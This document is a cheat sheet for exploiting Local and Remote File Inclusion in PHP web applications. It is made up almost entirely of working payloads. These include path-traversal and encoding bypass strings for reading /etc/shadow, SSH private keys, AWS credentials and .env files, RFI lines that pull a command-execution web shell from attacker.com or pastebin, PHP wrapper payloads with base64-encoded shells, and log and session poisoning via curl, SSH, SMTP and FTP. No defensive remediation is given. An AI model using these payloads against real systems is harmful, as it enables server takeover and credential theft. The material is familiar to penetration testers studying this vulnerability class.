Local/Remote File Inclusion (LFI/RFI)
File Inclusion vulnerabilities allow attackers to include files on a server through the web browser. This can lead to sensitive information disclosure, remote code execution, or cross-site scripting. Local File Inclusion (LFI) allows inclusion of local files, while Remote File Inclusion (RFI) allows inclusion of remote files from external servers.
How It Works
File inclusion occurs when an application uses user-supplied input to construct file paths without proper validation. For example:
<?php
$page = $_GET['page'];
include($page . ".php");
?>
An attacker could exploit this:
# LFI - Read local files
https://site.com/index.php?page=../../../etc/passwd
# RFI - Execute remote code
https://site.com/index.php?page=http://attacker.com/shell
Detection
Manual Testing
Basic LFI Tests
Testing for local file inclusion:
# Step 1: Identify file parameters
https://site.com/index.php?page=home
https://site.com/index.php?file=about
https://site.com/index.php?include=contact
https://site.com/index.php?template=main
# Step 2: Test with simple traversal
https://site.com/index.php?page=../../../etc/passwd
https://site.com/index.php?file=....//....//....//etc/passwd
https://site.com/index.php?include=/etc/passwd
# Step 3: Check response
# - File contents visible: Vulnerable
# - Error message with path: Potential vulnerability
# - No error but different response: Possible blind LFI
# Step 4: Test common files
Linux:
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\logs\access.log
Path Traversal Tests
Different traversal techniques:
# Standard traversal
../../../etc/passwd
..\..\..\..\windows\win.ini
# Double encoding
..%252f..%252f..%252fetc%252fpasswd
..%255c..%255c..%255cwindows%255cwin.ini
# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
# URL encoding
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini
# Double dot bypass
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
# Overlong UTF-8
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd
Null Byte Injection Tests
Using null bytes to truncate extensions (PHP < 5.3.4):
# Original code: include($_GET['page'] . ".php");
# Null byte terminates string before .php
# Standard null byte
page=../../../etc/passwd%00
# URL encoded null byte
page=../../../etc/passwd%2500
# Double encoded
page=../../../etc/passwd%25%30%30
# Unicode null byte
page=../../../etc/passwd%C0%80
RFI Tests
Testing remote file inclusion:
# Step 1: Setup web server with malicious file
# shell.txt content: <?php system($_GET['cmd']); ?>
python3 -m http.server 8000
# Step 2: Test RFI with your server
page=http://your-server.com:8000/shell.txt
# Step 3: Test different protocols
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt
# Step 4: Execute commands if successful
page=http://attacker.com/shell.txt&cmd=whoami
Wrapper Tests
Testing PHP wrappers for exploitation:
# php://filter - Read file with base64 encoding
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../../../etc/passwd
# php://input - Execute POST data as PHP
page=php://input
POST Body: <?php system($_GET['cmd']); ?>
# data:// wrapper - Execute base64 data
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Base64 of: <?php system($_GET['cmd']); ?>
# expect:// wrapper - Execute commands
page=expect://ls
page=expect://whoami
# zip:// wrapper - Include from ZIP
# Create ZIP with shell.php
page=zip://uploads/file.zip%23shell.php
Log Poisoning Tests
Poisoning log files for code execution:
# Step 1: Identify log file paths
Common Apache logs:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
Common Nginx logs:
/var/log/nginx/access.log
/var/log/nginx/error.log
# Step 2: Poison log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 3: Include log file
page=../../../var/log/apache2/access.log&cmd=whoami
# Step 4: Alternative - poison via request
# Send request with PHP in path
curl http://target.com/<?php system('whoami'); ?>/
# Include log
page=../../../var/log/apache2/access.log
Automated Discovery
Using wfuzz
# LFI fuzzing
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \
--hh 0 \
https://target.com/index.php?page=FUZZ
# With different payloads
wfuzz -c -z file,lfi-wordlist.txt \
-z file,files-to-read.txt \
--hh 0 \
https://target.com/index.php?page=FUZZFUZ2Z
# POST parameter fuzzing
wfuzz -c -z file,lfi-wordlist.txt \
-d "file=FUZZ" \
--hh 0 \
https://target.com/index.php
Using dotdotpwn
# Basic LFI scan
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k root
# With specific pattern
dotdotpwn -m http \
-h target.com \
-x 80 \
-f /etc/passwd \
-k root \
-d 5
# HTTPS scan
dotdotpwn -m http-url \
-u https://target.com/index.php?page=TRAVERSAL \
-f /etc/passwd \
-k root
Using Nuclei
# Run LFI templates
nuclei -u https://target.com -t lfi/
# Specific file inclusion checks
nuclei -u https://target.com -t file/
# With specific keywords
nuclei -u https://target.com -t lfi/ -tags lfi,rfi
Attack Vectors
Reading Sensitive Files
Extracting configuration and credential files:
# Linux configuration files
/etc/passwd # User accounts
/etc/shadow # Password hashes
/etc/group # User groups
/etc/hosts # DNS mappings
/etc/resolv.conf # DNS configuration
/etc/ssh/sshd_config # SSH configuration
/etc/mysql/my.cnf # MySQL configuration
/etc/apache2/apache2.conf # Apache config
/etc/nginx/nginx.conf # Nginx config
# Application files
/var/www/html/config.php # PHP config
/var/www/html/.env # Environment variables
/var/www/html/wp-config.php # WordPress config
/var/www/html/.git/config # Git configuration
/home/user/.ssh/id_rsa # SSH private key
/home/user/.bash_history # Command history
/root/.aws/credentials # AWS credentials
/root/.docker/config.json # Docker credentials
# Windows files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\conf\httpd.conf
C:\wamp\apache\conf\httpd.conf
C:\Program Files\FileZilla Server\FileZilla Server.xml
Proc Filesystem Exploitation
Linux /proc filesystem enumeration:
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Command line of current process
/proc/self/stat # Process statistics
/proc/self/status # Process status
/proc/self/fd/[0-9]* # File descriptors
/proc/self/cwd # Current working directory
/proc/self/exe # Executed binary
# System information
/proc/version # Kernel version
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/devices # Device drivers
/proc/net/tcp # TCP connections
/proc/net/udp # UDP connections
/proc/net/arp # ARP table
/proc/net/fib_trie # Routing table
# Other processes (if readable)
/proc/[PID]/cmdline # Other process command line
/proc/[PID]/environ # Other process environment
/proc/[PID]/fd/[0-9]* # Other process file descriptors
PHP Wrapper Exploitation
Advanced PHP wrapper techniques:
# php://filter with encoding chains
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/read=string.rot13/resource=config.php
page=php://filter/convert.iconv.utf-8.utf-16/resource=config.php
# Chaining filters
page=php://filter/convert.base64-decode/convert.base64-encode/resource=config.php
page=php://filter/zlib.deflate/convert.base64-encode/resource=config.php
# php://input for POST data execution
POST /index.php?page=php://input HTTP/1.1
<?php system($_GET['cmd']); ?>
# data:// wrapper
page=data://text/plain,<?php system($_GET['cmd']); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# zip:// wrapper
# Create malicious.zip containing shell.php
page=zip://uploads/malicious.zip%23shell.php
# phar:// wrapper
page=phar://uploads/file.jpg/shell.php
Log Poisoning
Poisoning various log files:
# Apache/Nginx Access Log
# Step 1: Inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 2: Include access log
page=../../../var/log/apache2/access.log&cmd=whoami
# SSH Log Poisoning
# Step 1: Inject PHP via SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Step 2: Include auth log
page=../../../var/log/auth.log&cmd=whoami
# Mail Log Poisoning
# Step 1: Send email with PHP payload
telnet target.com 25
MAIL FROM:<?php system($_GET["cmd"]); ?>@attacker.com
# Step 2: Include mail log
page=../../../var/log/mail.log&cmd=whoami
# FTP Log Poisoning
# Step 1: Login with PHP in username
ftp> USER <?php system($_GET["cmd"]); ?>
# Step 2: Include FTP log
page=../../../var/log/vsftpd.log&cmd=whoami
Session File Inclusion
Including PHP session files:
# PHP session files location
/var/lib/php/sessions/sess_[PHPSESSID]
/var/lib/php5/sessions/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
# Step 1: Set session variable with PHP code
https://target.com/index.php?session_var=<?php system($_GET['cmd']); ?>
# Step 2: Include session file
page=/var/lib/php/sessions/sess_abc123&cmd=whoami
# Alternative: Use session upload progress
# This works even without active session
# Step 1: Upload file with PHP in progress name
<form action="https://target.com/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system($_GET['cmd']); ?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
# Step 2: Include session file while uploading
page=/tmp/sess_[PHPSESSID]&cmd=whoami
Remote File Inclusion
Executing remote files:
# Basic RFI
page=http://attacker.com/shell.txt
# Shell.txt content:
<?php system($_GET['cmd']); ?>
# Protocol variations
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
# Bypass with double slash
page=//attacker.com/shell.txt
# Using allowed domains (if whitelist exists)
# Host file on allowed domain or subdomain
page=http://allowed-domain.com/path/to/shell.txt
page=http://sub.target.com/uploads/shell.txt
# Using URL shorteners
page=http://bit.ly/malicious-shell
# Using cloud storage
page=https://raw.githubusercontent.com/attacker/repo/shell.txt
page=https://gist.githubusercontent.com/attacker/id/raw/shell.txt
page=https://pastebin.com/raw/id
Bypass Techniques
Extension Bypass
Bypassing added file extensions:
# Original code: include($_GET['page'] . ".php");
# Null byte (PHP < 5.3.4)
page=../../../etc/passwd%00
page=../../../etc/passwd%2500
# URL encoding
page=../../../etc/passwd%00.jpg
page=config%00
# Question mark truncation (some systems)
page=../../../etc/passwd?
page=../../../etc/passwd?.jpg
# Encoding and chaining
page=../../../etc/passwd%00%20
page=../../../etc/passwd%23
Path Filter Bypass
Bypassing path restrictions:
# Double encoding
..%252f..%252f..%252fetc%252fpasswd
# Mixed encoding
..%2f..%2f..%5cetc/passwd
..%5c..%5c..%5c..%2fetc%2fpasswd
# Unicode bypass
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd
# Double dots bypass
....//....//....//etc/passwd
....\/....\/....\/windows/win.ini
# Overlong UTF-8
..%e0%80%af..%e0%80%afetc%e0%80%afpasswd
Dot Filter Bypass
Bypassing dot filtering:
# Using encoded dots
page=%2e%2e%2f%2e%2e%2fetc%2fpasswd
page=.%252e/.%252e/etc/passwd
# Using backslashes (Windows)
page=..\..\..\..\windows\win.ini
# Bypassing dot removal
page=....//....//....//etc/passwd
page=...../...../etc/passwd
# Absolute paths (if allowed)
page=/etc/passwd
page=C:\windows\win.ini
Keyword Filter Bypass
Bypassing keyword blacklists:
# If "etc/passwd" is blocked
page=eettcc/ppaasssswwdd
page=e??tc/p??asswd
page=/e%00tc/p%00asswd
# Case variation (if case-insensitive file system)
page=../../../ETC/PassWD
page=../../../Etc/Passwd
# String concatenation (PHP)
page=php://filter/resource=/e'.'tc/pa'.'sswd
# Using wrappers
page=php://filter/convert.base64-encode/resource=/etc/passwd
Protocol Bypass
Using alternative protocols:
# When http:// is blocked for RFI
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt
page=file://attacker.com/shell.txt
# Data protocol
page=data://text/plain,<?php system('whoami'); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
# Using PHP streams
page=php://input
page=php://filter/resource=http://attacker.com/shell.txt
Whitelist Bypass
Bypassing directory whitelists:
# If whitelist checks start of path
# Whitelist: /var/www/html/pages/
page=/var/www/html/pages/../../../etc/passwd
# If whitelist checks contains
page=allowed_dir/../../../etc/passwd
# If whitelist checks extension
page=../../../etc/passwd.jpg
page=../../../etc/passwd%00.txt
# Using symlinks (if they can be created)
# Create: pages/config -> ../../../etc/passwd
page=pages/config
Post-Exploitation
Source Code Disclosure
Reading application source code:
# Read configuration files
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../config/database.php
page=php://filter/convert.base64-encode/resource=../includes/functions.php
# Read .env files
page=php://filter/convert.base64-encode/resource=../.env
page=php://filter/convert.base64-encode/resource=../../.env
# Read composer/package files
page=php://filter/convert.base64-encode/resource=../composer.json
page=php://filter/convert.base64-encode/resource=../package.json
Remote Code Execution
Achieving RCE through LFI:
# Via php://input
POST /index.php?page=php://input&cmd=whoami HTTP/1.1
<?php system($_GET['cmd']); ?>
# Via log poisoning
# 1. Poison log
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 2. Execute
page=/var/log/apache2/access.log&cmd=whoami
# Via session file
# 1. Poison session
page=home&pwn=<?php system($_GET['cmd']); ?>
# 2. Include session
page=/var/lib/php/sessions/sess_abc123&cmd=whoami
# Via file upload + LFI
# 1. Upload image with PHP code
# 2. Include uploaded file
page=../uploads/malicious.jpg&cmd=whoami
Privilege Escalation
Using LFI for privilege escalation:
# Read SSH keys
page=../../../root/.ssh/id_rsa
page=../../../home/user/.ssh/id_rsa
# Read sudo configuration
page=../../../etc/sudoers
page=../../../etc/sudoers.d/custom
# Read cron jobs
page=../../../etc/crontab
page=../../../etc/cron.d/custom
page=../../../var/spool/cron/crontabs/root
# Read password hashes
page=../../../etc/shadow
page=../../../etc/security/opasswd
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
Burp Suite | Web vulnerability scanner | LFI/RFI testing |
dotdotpwn | LFI fuzzer | Automated LFI discovery |
wfuzz | Web fuzzer | Parameter fuzzing |
LFISuite | LFI exploitation tool | LFI to RCE |
Kadimus | LFI/RFI scanner | Detection and exploitation |
fimap | LFI/RFI tool | Automated exploitation |